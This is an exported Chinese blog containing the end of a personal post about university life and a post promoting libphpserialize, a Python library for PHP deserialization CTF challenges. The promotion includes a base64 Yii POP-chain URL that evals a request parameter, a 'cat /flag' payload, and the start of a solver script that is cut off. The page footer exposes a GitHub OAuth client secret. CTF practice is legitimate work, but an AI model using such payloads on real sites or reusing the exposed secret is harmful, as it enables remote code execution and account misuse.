id=\"CyanBot\"\u003eCyanBot\u003c/h3\u003e\u003cp\u003e一开始俺还是酷Q噗肉的忠实用户,认识了rc和他写的cqhttp,直到酷Q倒了。后来看到了mirai和gocq,cqhttp也变成了onebot。cqhttp.Cyan一开始也就是俺大一的时候(当时俺还是软件工程专业)的某门课的大作业,但是一直以来在学生机上跑得还蛮稳定的,没做什么大的修改。直到现在还在跑俺的ctf通知bot以及自动回复。\u003c/p\u003e\u003cp\u003eCyanBot一开始写的契机是,当时俺还在软院科协,认识的是软院科协的众大佬:十三女装,尹大人,给俺安利了Celeste的炮哥哥,还有写了xindubot的心渡老师,当时他的bot跑在以webqq为基础的某python包之上,恰逢疼逊关闭了webqq,于是俺直接进行了一个自动回复bot的复现(核心科技:谢谢你,我学会了,你呢)。\u003c/p\u003e\u003ch3 id=\"CTFd-Whale\"\u003eCTFd \u0026amp; Whale\u003c/h3\u003e\u003cp\u003e在使用CTFd的过程中给CTFd修了些奇怪的bug,还有一开始用在buuoj上的whale,glzjin维护到CTFdv2就不维护了,遂fork并继续维护。\u003cbr/\u003e在此过程中顺便帮助了挺多人搭建了CTFd with whale,包括一些私有靶场以及https://ctf.show。\u003c/p\u003e\u003ch3 id=\"etc\"\u003eetc\u003c/h3\u003e\u003cp\u003e还有一些零零碎碎的小脚本。\u003c/p\u003e\u003ch2 id=\"疫情\"\u003e疫情\u003c/h2\u003e\u003cp\u003e我的大学的前一半与后一半被疫情隔了开来。COVID-19标记着中国社会的一个重大的转变。记得李文亮医生一开始发声之时,当时看着泄露出的紧急培训医生用的ppt,完全没有意识到后面事物的发展。两年半以来,疫情曾一次次地冲破了我和身边人的计划,也彻底地改变了无数人的生活(或许不是“负面”的改变?)。\u003c/p\u003e\u003cp\u003e疫情从暗流涌动,到大爆发,再到举社会之力动态清零,其政治属性不断加码。疫情本身拖垮了无数人的当下,政治化的疫情拖垮了无数人的未来。\u003c/p\u003e\u003ch2 id=\"青可\"\u003e青可\u003c/h2\u003e\u003cp\u003e从和青可在高中的相识已经过去了六年多。从高中时慢慢和青可建立起互相信任的关系,到大学时维持着长久的联系,再到一道前往上海……\u003c/p\u003e\u003ch2 id=\"研\"\u003e研\u003c/h2\u003e\u003cp\u003e上研与否,似乎成为了一个非常非常难以抉择的事情。\u003c/p\u003e\u003cp\u003e俺妈是博士后,从俺高中起就一直督促我:提高学历,才能不受制于人。这个道理显而易见:当下的分流政策指引着一切的社会地位的流动,而人才分流的一大手段便是\u003cem\u003e看学历\u003c/em\u003e。其实俺妈最主要的论据还是上研能够有另一段能够自由学习的时间,去提高自己的科学以及社会素养。\u003c/p\u003e\u003cp\u003e俺认识的,熟悉的学长大多数直接出来工了作。俺周围的同学普遍来讲都认为上研并不能提升自己的能力,仅仅是换个地方打工罢了。\u003c/p\u003e\u003cp\u003e观察大多数上了研的,信安社团的,不是社团的学长学姐们,他们也一样迷茫,觉得累,觉得没有学到真正的东西,上研以后社会环境变得越来越差,难以找到工作;但我又明白他们所表露出来的或许不是他们真实的状态,又或许我所观察到的并不是常态。\u003c/p\u003e\u003cp\u003e看着落户政策里对待研究生与本科生巨大的差异,社会将人分开的残酷性是一定的了。但俺俩的\u003cstrong\u003e幼稚\u003c/strong\u003e又不允许我们在我向来不习惯的教育环境下虚度几年的时间。纠结着,被两边拖拽着,被海量的信息淹没着,俺们还是在迷茫中找了工作,没去上研。\u003c/p\u003e\u003cp\u003e俺们\u003cem\u003e随心所欲\u003c/em\u003e了么?我觉得没有。我们还没来得及给自己给出答案。俺们没有一些工作了的学长的决绝,亦没有俺妈那样的阅历。或许,过两年俺们会被现实打醒回去考研吧。或许。又或许,我们会选另一条更显而易见的,仅剩的路?\u003c/p\u003e\u003ch2 id=\"以及很多其他的重要的事与人\"\u003e以及很多其他的重要的事与人\u003c/h2\u003e\u003cp\u003e我长久以来未曾写过些什么文字,现在也不会写。我想到些什么,便罗列在上面了。后面的几周或许会写些别的,或许不会。只是写给自己看罢了。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2022/07/03/Misc/%E5%85%B3%E4%BA%8E%E5%A4%A7%E5%AD%A6/"},{"title":"python实现的php序列化","time":"2021-06-14T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e就单纯想推销一下\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"如何用Python实现PHP的序列化\"\u003e如何用Python实现PHP的序列化\u003c/h2\u003e\u003col\u003e\u003cli\u003e脑补\u003c/li\u003e\u003cli\u003e写代码\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"如何使用libphpserialize\"\u003e如何使用libphpserialize\u003c/h2\u003e\u003ch3 id=\"安装\"\u003e安装\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epip3 install libphpserialize\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"使用\"\u003e使用\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(\u003cspan class=\"number\"\u003e1\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e非常银杏方便\u003c/p\u003e\u003ch2 id=\"为什么不用php自己的serialize?\"\u003e为什么不用php自己的serialize?\u003c/h2\u003e\u003col\u003e\u003cli\u003e不用在你的电脑上安装php\u003c/li\u003e\u003cli\u003epython有requests/httpx,php没有\u003c/li\u003e\u003cli\u003e简化做题流程\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e想象一下这样的场景:\u003c/p\u003e\u003cp\u003e你在打一个比赛,在做一道反序列化相关的题目。你启动了一个定时销毁的容器,这个容器限时一个小时。你在第50分钟的时候找到了合适的pop链,并用5分钟用python写出了触发反序列化的python poc。\u003c/p\u003e\u003cp\u003e你慌忙地打开了一个新的文件,将类的定义拷贝了过来,给他们赋了各种属性,然后\u003ccode\u003eecho serialize($obj);\u003c/code\u003e,结果发现有个private属性,于是又慌忙地改成了 \u003ccode\u003eecho urlencode(serialize($obj));\u003c/code\u003e,又在命令行中 \u003ccode\u003ephp generate.php\u003c/code\u003e,复制,粘贴进python脚本,执行脚本,最后发现题目里头的反序列化入口处他 \u003ccode\u003ebase64_decode\u003c/code\u003e 了一下,于是又回头去将 \u003ccode\u003eurlencode\u003c/code\u003e 改成 \u003ccode\u003ebase64_encode\u003c/code\u003e,复制,粘贴,执行python脚本,运行,502,你很愤怒,用浏览器去访问了一下这个链接,发现容器已经过期了。你人麻了。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/timeout.png\" class=\"\"/\u003e\u003cp\u003e再想象一下这样的场景:\u003c/p\u003e\u003cp\u003e你已经成功地构造好了pop链,但是这个链非常长,而且需要精巧地构造属性值。你觉得用python构造这样的属性最简单,但是又不得不print出来然后粘贴到php代码里。你构造好了 \u003ccode\u003esystem(\u0026#39;cat /flag\u0026#39;);\u003c/code\u003e 的payload,结果发现出题人在 \u003ccode\u003edisable_functions\u003c/code\u003e 中禁用了system函数。你不得不重新来一遍整个流程,构造属性,复制粘贴,生成序列化串,将序列化串粘回到python脚本里,请求。可是你突然发现你构造出来的序列化后的串突然用不了了,你找了10分钟,最后发现由于终端输出的字符数量限制,你只复制了一半。你非常气愤,直接在python脚本里 \u003ccode\u003epayload = input()\u003c/code\u003e,然后直接用管道符运行 \u003ccode\u003ephp generate.php | python3 exp.py\u003c/code\u003e,结果发现仍然打不通。你又找了半天,发现php代码里用于调试的几个var_dump没有删。你一怒之下关闭了vscode,打开了LOL,找几个憨批进行一个人的祖安,还破坏了他人的游戏体验。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/defeat.jpeg\" class=\"\"/\u003e\u003cp\u003e再想象一下:\u003c/p\u003e\u003cp\u003e你的队友找到了一条pop链,但是二话不说给你发过来这样一串谜语\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e?r=site%2Fabout\u0026amp;message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MzI6InlpaVxjYWNoaW5nXEV4cHJlc3Npb25EZXBlbmRlbmN5IjoxOntzOjEwOiJleHByZXNzaW9uIjtzOjIzOiJldmFsKCRfUkVRVUVTVFsiYW50Il0pOyI7fWk6MTtzOjE4OiJldmFsdWF0ZURlcGVuZGVuY3kiO319fQo=\u0026amp;ant=phpinfo();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你的眼睛都要看瞎了,可是你访问了这个url,竟然真的打通了。你接下来想继续往进探一探,于是打开了hackbar,痛苦地一个字符一个字符地去改。你题做完了,眼睛也废了。结果你的憨批队友又不想写wp,想让你来写。你想打游戏,于是也贴了这么一大长串。评论区生气了,说你这谁**看得懂。\u003c/p\u003e\u003cp\u003e如果你有类似的经历,那你可以用libphpserialize来拯救你快乐的一天。\u003c/p\u003e\u003ch2 id=\"示例\"\u003e示例\u003c/h2\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 强网杯2021,pop_master \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e phplex\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply.phpast \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply.phpparse \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e make_parser\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclasses = {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efunc2class = {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eparser = make_parser()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egood_paths = []\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;class.php\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e file:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e lexer = phplex.lexer.clone()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ast = parser.parse(file.read(), lexer=lexer)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e cls \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e ast:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e cls.nodes:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Method:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e func2class[i.name] = cls.name\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e classes[cls.name] = cls\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eis_good_assign\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx_param, node: Assignment\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node) == Assignment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ctx_param.name == node.node.name:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) == BinaryOp:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.op == \u003cspan class=\"string\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.left.name == ctx_param.name:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(node)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# unexpected\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) == Variable:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.name == ctx_param.name:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ehandle_if\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx_param, node: If\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node) == If\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e BinaryOp:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# debug\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003eeval\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(node.expr.left)+node.expr.op+\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(node.expr.right)):\u003c/span\u003e\u003cbr/\u003e\u003cspan 